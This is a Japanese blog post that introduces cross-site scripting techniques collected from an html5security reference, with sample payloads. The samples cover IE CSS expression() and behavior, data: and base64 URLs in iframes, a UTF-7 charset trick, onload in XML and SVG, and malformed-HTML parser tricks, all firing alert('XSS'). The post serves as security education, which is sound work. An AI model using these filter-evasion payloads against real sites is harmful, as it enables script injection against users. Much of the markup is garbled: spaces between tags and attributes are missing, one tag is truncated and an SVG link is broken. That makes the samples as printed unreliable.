
この広告は、90日以上更新していないブログに表示しています。
html5securityのサイトに、XSSの各種攻撃手法がまとめられているのを発見せり!ということで、個人的に「お!」と思った攻撃をサンプルつきでご紹介します。
IE7以前には「CSS Expressions」という拡張機能があり、CSS内でJavaScriptを実行できたりします。
<divstyle="color:expression(alert('XSS'));">a</div>
@IT -[柔軟すぎる]IEのCSS解釈で起こるXSSで詳しく解説されていますが、CSSの解釈が柔軟なことともあいまって自前で無害化するのはなかなか困難。以下のようなコードでもスクリプトが実行されてしまいます。
<divstyle="color:expr/* コメントの挿入 */ession(alert('XSS'));">a</div>
<divstyle="color:expression(alert('XSS'));">a</div><divstyle="color:\0065xpression(alert('XSS2'));">b</div>
似たような話で「behavior」を使う攻撃もあります。こちらは指定したJScriptを実行できるとのこと。
<divstyle='behavior:url(test.sct)'>a</div>
URLにデータを埋め込む「data URL」スキームを利用して、iframeやobjectに攻撃用スクリプトをロードさせる手法。
<iframesrc="data:text/html,<script>alert('XSS')</script>"></iframe><objectdata="data:text/html,<script>alert('XSS2')</script>"></object>
base64でエンコードしたデータも指定でき、この場合単純な文字列探索(「script」タグを探すとか)では攻撃を検知できません。data URL自体を拒否する対処が必要です。
<iframesrc='data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4='></iframe
というものです。詳細はITPro - UTF-7とクロスサイト・スクリプティングを参照。
<metahttp-equiv="Content-Type"content="text/html; charset=UTF-7"/>+ADw-script+AD4-alert('XSS')+ADsAPA-/script+AD4-
XMLでもxhtmlのネームスペースが付与されているとFireFoxではxhtmlと解釈され、スクリプトが実行されます。
<?xml version="1.0" encoding="UTF-8"?><test><bodyxmlns="http://www.w3.org/1999/xhtml"onload="alert('XSS');"></body></test>
確認
XMLだからといって安心しては危険。また、同様に、SVGでもスクリプトが実行できたりします。
<?xml version="1.0" encoding="UTF-8"?><svgxmlns='http://www.w3.org/2000/svg'><gonload="#"http://unageanu.sakura.ne.jp/blog-samples/2010/0619/xml-2.svg">確認
あとは、HTMLの構造が不正だけど、ブラウザの解釈によってスクリプトが実行されるよー、というたぐいのものを3つほど。
<b>aaaa<script<b></b><alert('XSS')</script </b>
<b<script>alert('XSS')</script>0
<style><imgsrc='</style><imgsrc=x onerror=alert("XSS")//'>
紹介は以上。私が無知なだけかもですが、いろいろとありますなー。


引用をストックしました
引用するにはまずログインしてください
引用をストックできませんでした。再度お試しください
限定公開記事のため引用できません。